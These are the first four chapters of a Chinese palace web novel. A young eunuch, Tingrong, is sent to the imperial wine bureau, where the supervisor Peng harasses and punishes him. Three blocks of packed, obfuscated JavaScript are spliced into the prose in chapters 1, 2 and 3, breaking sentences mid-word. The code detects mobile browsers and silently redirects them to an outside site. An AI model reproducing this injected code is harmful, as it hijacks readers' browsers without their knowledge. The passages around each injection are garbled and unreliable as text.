《踩骨登阶》 1. 第1章 春分时节,杨柳拂堤,草长莺飞,茂京地气和暖,春色已现。 伴着太阳高升,内务府小门外,穿着灰色圆领粗布长袍的小太监站了两排,一个个脸色发白,消瘦的肩膀让袍子像挂在身上似的。听容正位列其中。 负责带他们过来的太监于小门前边来回踱步,一边以此暖身,一边等着各司的人前来挑选。 这些都是新来的,刚养好了身子,等着安排。 身着红袍的大太监带着一个徒弟自小门出来。 负责带人的太监立刻迎上去行礼:“廉公公,小的给您问安了。” 廉公公微微点头,脸上不见笑意,犀利如鹰的眼睛迅速从新人脸上一一扫过,有半刻不意觉察的停顿,又仿佛只是错觉。 “这一批人有点少啊。”廉公公面无表情地说。 “是。去岁天寒,小子们身子骨不成,没到京呢,就没了好几个。” 廉公公没再多问,转而对新来的道:“你们谁识字,上前一步。” 听容身边的样貌乖顺的小太监符安微微转头看向听容,然后自己走出了队伍。 廉公公打量了出列了两个人,似乎还算满意。随后在队伍前踱步一个来回,停在了听容面前:“你一个字都不识?” 负责带人的太监表情立刻紧张起来。 听容低着头:“是,小的不认字。” 听容气质温润,眉眼精致,眸明而不妖,鼻峰高挺又加深了眉眼,嘴唇略薄,下颌流畅,是让人见了就能印象深刻的好样貌。 廉公公似在思量。 带人的太监走上前,笑脸道:“廉公公,这批里就数听容长得最好,可到近前伺候。但奈何这孩子大字不识一个,您公事繁忙,挑去做事的定得得力才行,听容怕是不合适。” 廉公公没再犹豫,让徒弟带着两个识字的下去细教规矩,就离开了。 符安悄悄回头看了听容一眼,听容冲他稍稍点头,是道别,也是祝福。 随后各司的人陆续来挑选,有专挑年纪小的,有要力气大的,还有挑会手艺的……队伍中的人越来越少,听容仍在其中。 他一直记着教他们规矩的老太监的提醒,要在这个宫里活下去,最基本的就是要学会收敛,多看多学少表现,才能留着命慢慢摸出门道来。 一个时辰后,勤耕苑的人才姗姗来迟,见就剩下五个人了,便说都要了。听容心头一松,这是他本就想去的地方,听老太监讲,勤耕苑是在宫内为皇室种植瓜果蔬菜的地方,活计是辛苦了些,可地处偏僻,规矩少,又远离宫内纷争,是个刚入宫的好去处。 “爷,这个已经有安排了,只是来领人的还没到。其他四个,您可以随您走。”带人的太监指着听容。 听容眉心几不可见地一皱,各司都是来挑了人直接带走的,没有哪处是来传了话没带人的。 “您莫不是记错了?小的没有安排。”听容声音不高,当下比起收敛,他得问个明白。 太监瞪起眼睛,尽显刻薄:“来来往往这么些人,你能知道什么?难不成我还能糊弄勤耕苑的爷?” 勤耕苑来的不过是跑腿的,并不是管事太监,自不会细究,很快就带着人走了。 太监拂了拂衣袖,又挑着眼尾瞅向听容,全然没有了之前的殷勤,拉长了音调尖声道:“走吧。” 无法,听容只得跟着去。 宫中的红墙高得仿佛遮蔽了天日,行于城墙下,好像总也走不到头似的。不知走了多久,终于踏进了一处小门。 “彭公公在吗?小的给您送人来了。” 听容抬头看向门额,匾上写着“御酿局”三个字。再看带人的太监放松的样子,应该是跟这里的人很熟。 彭公公自屋里出来,眼角的细纹堆在一处,泛红的双颊像染上了消不尽的酒气。在看到听容后,嘴角一扯,露出两排里出外进的牙齿。 太监:“这是听容,内务府给改了名的。我瞧着他是个能干的,知道您这儿需要人手,特地挑了给您送过来。” “好好好。”彭公公打量着听容,像是有无尽的满意。 太监催着道:“还不快给彭公公行礼?” 御酿局干净整洁,地面都比别处亮堂,彭公公看起来也不是难相处的,可听容总是觉得哪里不对劲儿。 “见过彭公公。”听容无暇多想,既然被安排了地方,先稳下来再看不迟。 彭公公笑出了声,随后招呼道:“小青子,带听容去安顿,再跟他说说咱们局的规矩。” “是!”廊下的蓝衣太监应着走了过来。 彭公公邀着带人的太监一同用午饭,两个人有说有笑地进了屋。 “你以后就住这个屋,这个柜子给你用。”说着,小青子找出一套蓝色的太监袍子,“你把衣服换上,我带你去熟悉一下局里。” 灰袍是最低等的太监穿的,做的都是宫里最累最脏的活儿。被挑进各局的就可以换上深蓝色长袍了,即便是新人,在地位上也是要好一些的。 道谢后,听容换了衣服,依旧没给他太多思考的时间,小青子就带他熟悉起了局中各处。 “咱们御酿局的差事不难,就这个时节能忙些,需要酿制酒品。但库里的绝大多数酒都是外面送进来的,自酿的那些只是图个春天的好彩头。库里的那些酒什么品阶的主子能用,都是有讲究的,我们只要确保这点不出错,就惹不出事。”小青子看着二十五六的样子,样貌普普通通,是放在人堆里不会被留意的,但说话很有调理,语气也不躁,让人很容易听得进去,“剩下的就是注意防火,这要是出了事,就真是要掉脑袋了。” 听容点头表示明白。 小青子还想再说些什么,就见一小太监匆匆跑进来,看到时小青子,明显松了口气:“青公公,恭贵妃娘娘说你们准备的酒太柔了,严公子不会喜欢,让换些稍微烈点的。但劲儿也别太大,让公子喝醉了可不好。” “严公子已经进宫了吗?”小青子问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140919|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没有,但已经到京城了,晚膳前应该就进能宫。” “知道了。” 随后,小青子去跟彭公公汇报了此事。宫里的晚膳在未时正刻,小青子带着听容和另外两个小太监抽空提前吃了饭,便捧了装好的酒,赶着去送了。 御酿局的午饭还不错,肯定比听容在家时吃得强,也比在净身处休养时好,不仅能吃饱,还能见荤腥。局里的人除了刚见面时多看了他几眼外,对他不算热情,也不冷淡,让听容对御酿局印象又好了一分。 “贵妃娘娘饶命啊,奴才知错了,再也不敢了——” 凄厉的求饶声乍然响起,回响在安静的甬道上,惊得人起了层鸡皮疙瘩。 一个小太监被两人拖着离开,嘴上不断求饶。 听容偏头看了一眼,就见那小太监脸肿得老高,嘴角带血,手上也有血迹,并呈现出奇怪的姿态,挣扎着被拖拽走。 跟出来的宫女用帕子擦了擦手,对拖其离开的两人喊:“还不快堵上他的嘴?!没得让人以为娘娘乱用刑罚。蠢笨的东西,砸了娘娘的花瓶,活该被打断手,赶去做苦役!” 听容心里一惊,手断了即便被赶去做苦役又能做什么呢?干不了活还有命活吗? “别乱看,快走。”走在他身边的小青子小声提醒。 一行四人端着酒壶,步伐一致,背顶太阳,却晒不暖身体。 到达繁秀宫,小青子带着他们直接去了小门,由守门太监通传后,宫女出来带着他们进了小厨房。 放下酒,听容他们三个在院里站着等,小青子在里面跟宫女交代送来的是什么酒,哪年酿的,这些饮食都要记档,方便查对。 “娘娘,娘娘,二公子到了!”宫女快步走进院子,也顾不上规矩了,满脸喜气地喊着。 紧随其后进来的,是一个头带银冠,身穿黑衣的年轻男子,他宽肩窄腰,步子迈得很大,即便只是一个侧身,听容也能感觉到这个人应该是有习武的。 没等男子走到殿前,恭贵妃就在侍女的搀扶下走了出来。 男子撩衣便跪,声音慵懒中带着笑,完全不见长途跋涉的疲惫:“侄儿拜见姑母!” 恭贵妃激动得声音颤抖,亲自走过去扶:“快起来,快起来。好孩子,让你大老远的进京来看我,实在是难为你了。” “家中记挂姑母,圣上遣人来告知您身体不好,久久不愈,家里定然是要派人来问安的。左右我是家中最闲那一个,姑母不嫌我身无长处,进宫还得劳您照顾就好。”男子站起身,高大的身形即便只是这样站着,也足够有存在感。 恭贵妃拭了拭眼角,声音低下来。听容听不到他们说了什么,就见男子扶着恭贵妃往殿内走。 毫无预兆地,男子的眼睛在院中扫视了半圈,恰好撞进听容的眼里。听容猛然垂下头,心里重跳了几下,不是被发现的紧张,而是被惊到的惊恐,上次有这样的情绪,还是狼群闯入村里,当时他隔着篱笆与头狼对视上,也是这样的心跳。 2. 第2章 从繁秀宫回来,听容并没得闲。明日皇上要设宴给严公子接风,宴会要用的酒今日就得送去。听容一个新来的,没有经验,酿酒的事用不上他,送酒的活儿就落他身上了。好在有小青子带着,并未出差错。 而这一通忙活下来,太阳落山了,听容也把严公子进宫的经过了解了个大概。 这位严公子名严昱祉,是镇守南疆的辅国大将军次子,繁秀宫的恭贵妃娘娘正是辅国大将军的胞妹。 去年入秋后,恭贵妃娘娘的身体就一直不好,甚至病得下不了床。皇上体恤她,也是希望辅国将军能专心守南疆,特招严家人前来探望。严昱祉未在军中任职,属于严家的闲人,进京的事就落到他头上了。 这些在下人间传开的话听一嘴就罢了,奴才和将军之子,一个是地上尘,一个是天上星,八竿子也打不上半点干系的。 “今夜当值的都打起精神。其他人赶紧休息吧。”小青子对众人道。 听容没被安排值夜,倒是可以睡个整觉。刚洗漱完,值夜的小太监就敲门来喊:“听容,彭公公叫你。” 屋里正在洗漱的五人齐齐看向听容,每个人的表情都有说不出的怪异,包括看上去总是很有条理的小青子。听容作为新来的,没有管事太监叫不动他的道理,而在他迈出门时,仿佛听到身后传来一声嗤笑,并不真切。 “彭公公。”听容在门口叫了一声人。今天的两餐他吃得都很好,很久很久没吃这么好了,即便中间干了不少跑腿的活儿,还是很有精神。 “进来吧。”彭公公的调子拉得很长。 从中午来时见了彭公公一面,之后的大半天都没见彭公公的人影,局里的事都是由小青子安排的。 作为管事太监,彭公公自己单住一间屋子,布置并不精致,可该有的一样不少。 彭公公咧嘴一笑,里出外进的牙在烛光下更显杂乱,就像说书先生讲的藏在山里有两排牙齿的吃人妖怪一样。 桌上放着几碟下酒菜,白玉做的酒壶一看就不是太监能用的东西,此时却与下酒菜摆在一起,还有一只精美的白玉盅。 听容不禁想到今日在长街被拖走的小太监,在这宫里,一个奴才在角落中没了性命,也不影响另一处手握权利的太监行僭越之举。皇宫之大,等级分明,规矩森严,却也管不到眼下这一亩三分地。权力迷人眼,有权也是有全,站得高总能多得几分保障,至少不会死得无声无息,像不曾来过一样。 “怎么样?在咱们御酿局还待得惯吗?”彭公公坐在桌前,提起筷子夹着花生米,一颗一颗吃得香。 听容谨慎答:“习惯,各位公公都很友善。” 彭公公笑着点头:“能分来御酿局,真是你八辈子修来的福气。放眼整个宫里,就属我这块地最养人,干净,活少,还不容易被为难。” “是。”这点听容认同,今天送了几趟酒他就发现了。 彭公公对他的回答很满意,笑着指了指桌上的白玉壶。 听容立刻会意,走上前给他倒满。 彭公公手里捏着酒杯一饮而尽,眼睛却一直盯在听容身上。 烛光给听容的容貌镀上了一层柔和的暖色,加上他消瘦的身体,倒显出几分可怜。 彭公公:“所以啊,只要你好好听话,咱们御酿局肯定留你。” 说着,彭公公的手就抓上了听容的手腕,隔着衣服,彭公公提着他的手腕又给自己倒了一杯。 听容心里有些膈应,但隔着衣服,倒也说不出什么来。 彭公公端起酒杯,再饮一杯:“既然你听话,那本公公就给你讲讲这宫里的规矩。” 没再让听容倒酒,彭公公松开他的手腕,自斟自饮道:“宫里太监的命是最不值钱的,尤其像你们这种小太监,主子随便一句话,就能让你们死得悄无声息,连为什么都不知道。要想在宫里活得久,就得有个靠山。那些运气好些的总管太监、掌事太监,自然有上头的主子罩着,只要不犯忌讳,总能活得好些。 “再往下就是像本公公这样的管事太监,想再往上爬可没那么容易,不过在自己的地盘里也算得上一条地头蛇。上头的公公不会故意找我们茬儿,下头的小太监巴结着我们,想换个轻快些的活儿,有个依靠。所以你能来这儿,自己得珍惜,懂了吗?” “懂。”其实听容不太明白彭公公大晚上把他叫过来,讲这些略多看看就能明白的事有什么意义。如果只是为了让他好好当差,那今天送酒下来,他也看出御酿局是个好差事。 彭公公几杯酒下肚,脸上的红晕更明显了,说话也开始打瓢:“看你是个聪明的,小脸儿长得也是真的俊,我在宫里这么多年,还没见过你这么俊的,要不是你大字不识一个,恐怕今天就跟着廉公公去内阁当差了。如今你来了我这儿,就是咱们的缘分,你只要肯听话,以后本公公罩着你。” 伴着话音,彭公公又一次拉住听容的手腕,听容以为又要让他倒酒,结果他的手刚要去拿白玉壶,就被彭公公用力扯向自己。 听容没站稳,顺着力度往彭公公身上倒去。彭公公的笑容带上了别样的意味,另一只手已经挨上了听容的鬓发,马上就要摸到脸上去,盯着听容的眼神多了几分贪婪。听容哪怕是乡下来的,也看出了不对劲儿。他一把扶住桌子,没让自己彻底倒下,并顺势抽出了手腕,脑子转得飞快。 他很明白什么是形势比人强,眼下他得罪不起彭公公。但被彭公公盯住的恶心感让他自脊背开始发毛。 “彭公公,”听容站稳后,控制着语气道,“小的刚来,很多地方不懂,的确需要公公指点。但今天已晚,青公公说明天圣上设宴,局中活少不了,小的实在怕误事,到时连累了公公,公公早些休息,小的先退下了。” 有了几分醉意的彭公公脸色一沉,不知是想到明天有重要的差事,还是觉得听容不识好歹,重重地哼了一声,眼看着听容离开了。 出了门,听容压不住心里的恶心,干呕了一声,但他不敢闹出太大动静,只能快速整理好情绪,回了房间。 通铺已经铺好,只有角落还剩个位置。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140920|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 见他回来了,其他人仅了短暂地打量了他几眼,没看出什么来,就上床睡了。小青子把炭盆灭了,催着听容道:“铺上自己的床铺赶紧睡。” 听容没出声,只是点点头,他怕自己一张嘴又想呕。从柜子里拿出自己的被子枕头,铺在空出的位置,就躺下了。 小青子息了烛火,睡在了听容旁边的位置上。 黑暗中,听容睁着眼睛完全没有睡意,他还没从刚才的恶心中缓过来。现在冷静下来想想,出门时他听到的那声嗤笑应该不是幻听,也就是说至少这个屋里有人知道彭公公私下所为。 屋里炭温尚存,枕头舒适,被子厚暖,是听容十七年来睡得最好的地方,可他心里却暖不起来。再想到明明御酿局没去挑人,那太监却把他送来了,这中间有什么,能想的就太多了。 而对他来说,眼下最重要的是活着。他不可能委曲求全,但他一个刚进宫的,没根基没人脉,甚至在没有安排的时候,连御酿局这块地儿都不能随便出,想离了这里可不容易。彭公公说自己是地头蛇,这个形容还真贴切。 次日,御酿局更忙了。除了留了一部分人继续酿酒外,来往于宴席上送酒的次数也比预想得多。 严昱祉的到来不仅是为了探望恭贵妃,也代表了整个严家。严将军作为现下炙手可热的猛将,皇上为表器重,参加宴席的也多为武将。武将多有酒量,在皇家宴席上虽不能喝醉失礼,却也没有文臣那般浅酌即止的文雅。 皇上高兴,武将尽兴,席间的酒就没断过。 “皇上已经回温华殿了,宴席也快散了,你们御酿局留两个人收拾酒具就行。”内务府负责这次宴席的太监安排道。 小青子应着,留了听容和另一个小太监,就带着其他人先回去了。 听容乐得在外在多待一会儿,毕竟他还没有想好怎么应付彭公公,也没想好从哪儿打听彭公公的情况。 等了没多久,各位大臣将军就陆续离开了,宫女们鱼贯而入收碗筷。听容也随之进去,伴着满殿酒香将属于御酿局的酒壶、酒杯收进箱子,之后会由最低等的打杂太监抬去清洗,然后送回御酿局。 “都当心些,别砸了东西。谁要是砸了,可从你们的月俸里扣,到时候整年的拿不到月俸,哭都没地儿!” “慢点慢点,看着脚下,别笨手笨脚地撞到一起,摔了你们是小,弄坏了桌椅是大。” “你们那些想藏糕点的,到我看不到的地方去藏,在我眼皮子底下就认真干活,我还能亏待了你们不成?” 在这样聒噪的训斥声中,听容有条不紊地收着东西,心情反而没那么乱了。 来到下一处桌前,他站的位置正好看到椅子上躺着和枚通体碧绿的玉佩,他不懂玉,可看玉上打着的如意结和穗子,也知道不是一般人能有的。 他拾起玉佩,准备交给宴会的管事太监,但还没等他转身,手上的玉佩就被抽走了。 听容一抬头,就又撞进了如狼一般的眼睛里,只不过这次,这头狼似乎多了些醉意。 3. 第3章 听容后退一步,低头不语。眼下他不可能邀功说自己拾到了玉佩,正准备上交。只要严昱祉别以为他是想偷偷占为己有就行。 管事太监立刻迎过来:“严公子,您怎么回来了?可是有事要吩咐?” 严昱祉甩了一下手中的玉佩:“掉了东西。” “哪还用您亲自跑一趟,吩咐一声,奴才给您送过去就是了。” “没几步路,不劳公公了。”可能因为喝了酒,严昱祉的语气透出几分散漫,与管事太监说完,眼睛又看向听容,“都说能进宫伺候的长相必得端正,如今看来传言还是保守了。” 管事太监笑说:“能得您的眼,是他的福分。” 严昱祉嘴角几不可见地一挑,转身离去。 管事太监也没多言,继续监督起众人干活儿了。 等听容回到御酿局,已经是申正二刻了。今日酿酒已毕,小青子在给酒坛贴酿造的日子,其他人都在打扫院子。 “回来了?”小青子抽空看了眼回来的听容和另一位小太监,让另一位小太监去把一会儿要放院里晒器具的架子擦了,又对听容道:“你去库房把空出来的架子擦干净,晚点宴会用完的酒具送回来好放回去。” 放酒壶酒盏的库房干净、干燥。所有酒具都按各个品阶能用的规制分类,再细化为按材质摆放,便签之详细也是为了确保不出错。 宫宴用的酒具有单独的架子摆放,这会儿大半都是空的,很好擦拭。听容拧了抹布细细擦过,这样的活儿他在家时经常做。 轻缓细微的脚步声引起了听容的注意,还没等他回头去看,一只手就摸上了他的腰带。听容一惊,差点撞到架子上,猛然转头,就看到了一脸笑意的彭公公。 还没彻底忘记的恶心感再度回笼,听容立刻向旁边挪了两步,叫了声“彭公公”。 彭公公嘿嘿笑着,再次凑近去拉他的胳膊:“干活儿是不是累了?走,本公公带你去歇歇。小青子也是的,让你干这些劳累的活做甚?” “这都是小的分内的事,谢公公好意。”听容思绪打结,在他没想好怎么应付之前,彭公公再次动手动脚,过多的情绪反而影响了他思考。 彭公公:“什么分内不分内的,你跟了我,我还能让你做这些活计?保你吃香喝辣,比局里其他小太监都体面。” 如果说昨晚彭公公的话还算含蓄,那今天就是直白了,让听容想跟他绕弯子都没余地。 听容已经恶心到了极点,全凭本能地把胳膊抽出来,表情也冷下来:“公公,小的刚进宫,许多事实在惶恐,不敢犯任何不合规矩的事,还请公公见谅。” 彭公公瞬间笑意全无,看向听容的眼睛眯了眯:“看来我说的话你是一句都没进去。行,你先犟着,我有的是手段让你驯服!” 说完,彭公公转身往外走。 听容微微松了口气。 可还没等他再平复情绪,就听一声瓷器碎裂的脆响,再抬头,就见彭公公轻蔑又嘲讽地看着他,大声对着门外道:“听容干活不仔细,摔了上好的酒壶,去院里罚跪一个时辰,今晚不准吃饭了!” 院内忙碌的小太监们就像没听到一样,继续干着自己的活,像是没有思想的木偶。 这个时节早晚还是冷的,白天不觉得,晚上那股湿冷好像贴着皮肉往骨肉里钻,不似冬季冻得人打摆子,却也让人从心里觉得寒。 听容又冷又饿,膝盖早就跪得没知觉了,可此刻的他脑子却无比清醒。 他长这么大,即便过得很苦,也没有害过别人。可现下的情势已经由不得他了。他不可能出卖自己,同时他也得能活下去,这样他才有机会再见到自己的家人,才能问问他们为什么要把自己卖进宫里。 明明过了年,他满了十七,按大勉律,满十七他就可以到镇上做工,有了工钱家里就能过得松快些,难道就差这四个月吗? 他不甘,不满,有恨,他必须要好好活下去,才有机会为自己讨个说法。 听容的心被冷夜反复冰冻,小太监们凑在一起吃饭,没有太多闲聊,彭公公的酒菜已经送进屋里,看着窗子上自斟自饮的剪影,听容萌生出一个念头——自己要活,彭公公就得消失! 可在念头完全浮现的瞬间,听容略被自己吓着了,这样的念头让他吃惊,仿佛这个吞人的皇宫已经在悄无声息中将他应有的底色吞噬殆尽了。 饭后,值夜的太监去了值房,其他人回房间准备休息,彭公公的影子依旧在窗上,比一刻前更悠闲了。 “行了,时辰到了,起来吧。”小青子今天值夜,洗漱好后从房间出来,把听容叫了起来。 听容这才弯下了挺直的脊背,双手撑地,试图站起来。可没有了知觉的膝盖让他难以起身,只得坐到地上缓一缓。 小青子没扶他,只说:“今晚你值夜,缓好了到小厨房守着。” “是。”听容都不确定小青子听没听到他的声音。 坐了好一会儿,听容才站起来,步履僵直地进了小厨房。小厨房还留着蒸了一天糯米的米香,小青子生了个炭炉,上面坐着晚些要给彭公公送去的醒酒汤,指着对面的凳子:“过来坐着暖一暖。” 冻冷的心划出一道水痕,听容坐了过去。 小青子又从旁边的篮子里拿出给他留的饭:“快吃吧,还温着。” 听容没想到小青子会偷偷给他留饭,还是在彭公公不让他吃饭的情况下,惊讶之余,道谢接过了碗。 “你运气还不错,这些天局里要酿酒,给的炭火和柴火都富余。否则你今晚连口热乎的都吃不上,说不定还得冻病了。”小青子语气很随意,对这样的事已经见怪不怪了。 听容扒了两口饭,胃里有了暖意,身上就不那么冷了。 “酒壶不是我摔的。”听容知道说了也没用,可面对这一捧暖意,他还是想给自己辩白几句。 小青子压着声音说:“我知道,咱们御酿局的人个个心里都明镜似的。要怪就怪你长得太好,入了彭公公的眼了。” “他……”听容想问“他怎么敢的,这里是皇宫”,可话到嘴边,想到皇宫之大,蝼蚁的呼喊甚至传不出院子,问了也没有意义。 “彭公公不是第一次这么干了,就我知道的,仅在御酿局,就已经死了两个了。”小青子声音不高,防止被人听到,“一个没从他,在被他纠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140921|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缠中掉进池子里淹死了,他见死不救,还装没事人一样跑了;另一个受不了天天受罚,一咬牙跟了他,结果彭公公下手没轻重,把人身子弄坏了,治不了病死了。” 听容立刻没了吃饭的胃口,捧着碗道:“没人追究吗?” 小青子嗤笑一声,一直波澜不惊的脸上露出一丝厌恶:“这个宫里每年无声无息死去的太监太多了,谁会追究?再说,能坐到管事太监这个位子上的,门路复杂着呢。万一告到了能保彭公公的人那里,就是自寻死路。” 听容刚化出水渍的心再次冻上,看来宫中的复杂不是他一个乡下小子一时半会儿能弄明白的。 “为什么要告诉我这些?”他能想到的就是小青子同情他的境遇。不过既然宫中这么复杂,他听的又只是小青子的一面之词,总得有更可靠的理由,才能让小青子愿意跟他一个新人说这些秘辛。 小青子伸手烤着火:“掉池子里淹死的那个,是我发小。我们两个一起进宫,说好等年纪大了离宫,无儿无女的相互照顾。在御酿局的日子不难过,我们对以后出宫也满是憧憬。结果没两年,原来的管事太监年岁大了被允许离宫,彭公公接管了这里还没出三个月,我发小就没了。” 两条人命,从与不从看起来都没活路。听容不禁握紧了手中的筷子。 “我跟你说这些是想让你心里有数,如果有门路离开,就赶紧想办法走。你也应该看出来了,御酿局里都是相貌平平的,也只有这样才最安生。”说到这儿,小青子沉默了片刻,又说,“想来你是没有门路的,否则也不至于被送到这儿来。送你来的那太监一直巴结着彭公公,知道彭公公好男色,又只喜欢长得好看的,正好拿你做人情,希望彭公公能找机会把他要到御酿局来做些清闲差事。” 听容闭了闭眼,稳住心神。他的确没有任何门路,进宫后与他关系最好的符安也不过是刚分到差事,具体什么情况还不好说,必然是帮不上他的。他又没有银子可使了疏通关系,这条路走不通。 越是无望,反而越激发出了听容要活的决心,他捧起碗继续吃饭,别人帮不了他,他就自己帮自己,总要拼出一条活路来。 站了一天,又跪了一个时辰,守着炭火,哪怕只裹着一席被子,听容也睡了一个沉觉,连夜半下了一阵雨春都未觉察。 天阴沉沉的,开门就涌进一股水气。昨夜的雨淋湿了晾在院中用于酿酒的器具,即便值夜的太监立刻收了器具,也没来得及,今日便不能继续酿酒了,器具都得重新刷洗,再次晾晒。 “听容,桂花和玫瑰花都不够了,吃完饭你去尚膳房再拿一些。”小青子照例安排着今天的活儿,把听容安排出去对听容来说不是坏事。 用过早饭后,听容就拿了个篮子往尚膳房去了,路上遇到好几队清扫回来的太监。 “下了场雨,路上倒是干净好扫了。” “你们扫甬道的还行,我们扫宫花园的可难了,石子路上都是水,扫时溅得衣摆鞋子上都是。” “一场春雨一场暖,这场雨后,宫花园的树就都该抽芽了。” 听着他们的对话,听容突然有了主意,加快了步伐赶往尚膳房。 4. 第4章 繁秀宫里,严昱祉由皇上允准,每日可到恭贵妃宫中请安。 今天他依旧一身黑衣,只不过这回衣摆用黑线绣了火焰纹,不仔细瞧还看不出来,但看出来了就会觉得绣工精细,是花了工夫的。玉佩系在腰间,在黑色的衬托下更显碧色。 “快起来,昨个喝了不少酒,今天可觉得昏沉?”恭贵妃的样貌在宫里是数一数二的漂亮,属于小巧精致的美。即便已有三十七的年纪,也丝毫不见岁月的痕迹。武将家的出身让她说话干脆利落,没有南方女子的软糯。 “宫里都是好酒,不醉人的。再说,和在南疆喝的酒相比,宫里的酒可没什么劲儿。”严昱祉面带笑意,对着姑母语气亲近。 “那也得有节制,在我眼皮子底下,你可得好好的才行。”恭贵妃让严昱祉坐,待宫女上了茶后,将屋里伺候的全挥退了,才又问:“宫里的膳食还吃得惯吗?若是不喜欢,我让小厨房每天做了你喜欢的送过去。” “都好,我不挑的,姑母不必为我操心。”没了外人,严昱祉也放松下来,“今日怎么没见妹妹来请安?” 恭贵妃伴驾多年,育有一女,颇得皇上宠爱。 恭贵妃笑说:“她昨个见了你,说你身上连个荷包都没有,装些细碎的东西不方便,今个要亲自去库房挑块好料子给你绣一个,当作见面礼了。” 表兄妹之间送荷包,又是经了恭贵妃同意的,于礼合适。 “我丢三落四的,妹妹若送我,我还不得供起来?万一弄丢了,就辜负妹妹的好意了。” “哪就那么精贵了?她年纪小,又是公主,我对她的女红并不要求。不过若完全做得不成样子也不好,且当让她练手了。” 严昱祉微微点头,没有推辞。 恭贵妃看着仪表堂堂的严昱祉,叹了口气,眉心蹙起:“是我不好,不仅没能帮上家里,还让皇上以我为借口,变相把你软禁到宫里了。” 严昱祉劝道:“姑母多虑了,我来总比大哥来强。皇上多疑,南疆在咱们严家的治辖下民生安稳,边关更是无一败绩,皇上有顾虑,家里早就有准备。当初祖父忍痛把您送进宫,是为了严家和南疆的安稳。如今家里明知皇上的意图,依旧让我来了,也是同样的原因。姑母,只要南疆不乱,您与我都安全。” “道理我都懂,只是把你困在这里,让我怎么忍心?”恭贵妃眼眶一红,孩子越懂事,越显得她无能。 “娘总嫌我散漫,让我进宫学着收敛一些,还能跟皇子们一起读书,她应该挺高兴的。”严昱祉说着让恭贵妃宽心的话。 想到嫂子来信总数落严昱祉不服管,她又忍不住笑了:“西边新进贡的葡萄酒说是今天到,好入口又不醉人,晚点我让人给你拿一坛尝尝鲜。” “那我就不跟您客气了。” 听容回到御酿局时,大家正忙着往库房搬酒。这些酒都是由手掌大小的坛子封装的,数量不多,坛子雕刻着特别的纹样,小巧精致。 “听容,把花放厨房,过来帮着搬。”小青子又给他派了活。 听容应了一声,刚放了东西出来,就看到了从屋里出来的彭公公。 彭公公眉毛一挑,正要开口,繁秀宫的掌事宫女就来了。 彭公公立刻换了一副样子,客客气气地迎过去:“芳眉姑姑,您怎么亲自来了?” 听容悄悄往那边看了一眼,这位姑姑看起来三十出头的样子,这个年纪还在宫里伺候,可见很受器重。也只有这样的身份,彭公公才能不计年纪,称对方“姑姑”吧。 芳眉温和中带着严肃,这样的人反而让旁人难摸到她的情绪:“进贡的葡萄酒可到了?” “到了到了,您看,正在登记入库呢。”彭公公立刻让开位置,向她展示运进来的酒。 “看着量不多啊。”芳眉显然是有经验的。 “是,听说去年属国葡萄的收成不好,酒制得不多。不过不管多少,皇上肯定少不了给恭贵妃的。”彭公公奉承着。 芳眉牵了牵嘴角:“娘娘要给严公子一坛,晚膳时你们给送过去。”说着,芳眉扫了一眼院内众人,目光顷刻锁在听容身上,她抬手一指,“就他吧,让他给严公子送去。” 听容心下诧异,不知芳眉姑姑怎么就指了他了。 彭公公后背一僵,试探着说:“姑姑,他刚来的,规矩学得不好,怕犯了规矩惹严公子不快。” 他心里门清,以听容的样貌,只要得了主子的眼,想换个差事并不难。他跟听容说出了御酿局没有好去处的话,是带着吓唬的,就是希望听容乖乖听话。 芳眉一笑,即便作为宫里已经有了些年纪的女人,还是好看的:“分差事前都是教过规矩的,差不了事。长得好看的多往主子眼前走走,主子看着也高兴不是?” 彭公公在宫内有自己的消息来源,芳眉的话结合他的消息,被他理解成严公子被皇上拘在宫里,心气不顺,得找些能入眼的到跟前去,才不容易发脾气。 “姑姑说得很是。”没敢再有异议,彭公公对着听容道,“听容,把给严公子的酒装好,晚膳给送过去。” 在宫中,皇子满十七后,每日晚膳可用酒。严昱祉不是皇子,可皇上下令让他跟着皇子们一起读书,住的也是皇子所,待遇上就算没有特别交代,大约也是跟皇子们差不太多的。 “是。”听容乐得送这一趟,既然要让他去送,彭公公就得让他好好出门,不可能故意罚他了。 芳眉姑姑走后,彭公公看了听容几眼,心气不顺,又不能如何,就站在院子里颐指气使:“这些酒的记档一定不能错了,万一哪位主子多一坛少一坛的,咱们御酿局吃罪不起。 “皇后和两位贵妃那里,想你们也不敢出错。剩下的主子里你们也别怠慢了,尤其是进宫不久的循才人,这次位分不高的嫔妃里,就这位主子得了这葡萄酒,预计今儿也是要来取的,你们可都精神着点,别敷衍了。” 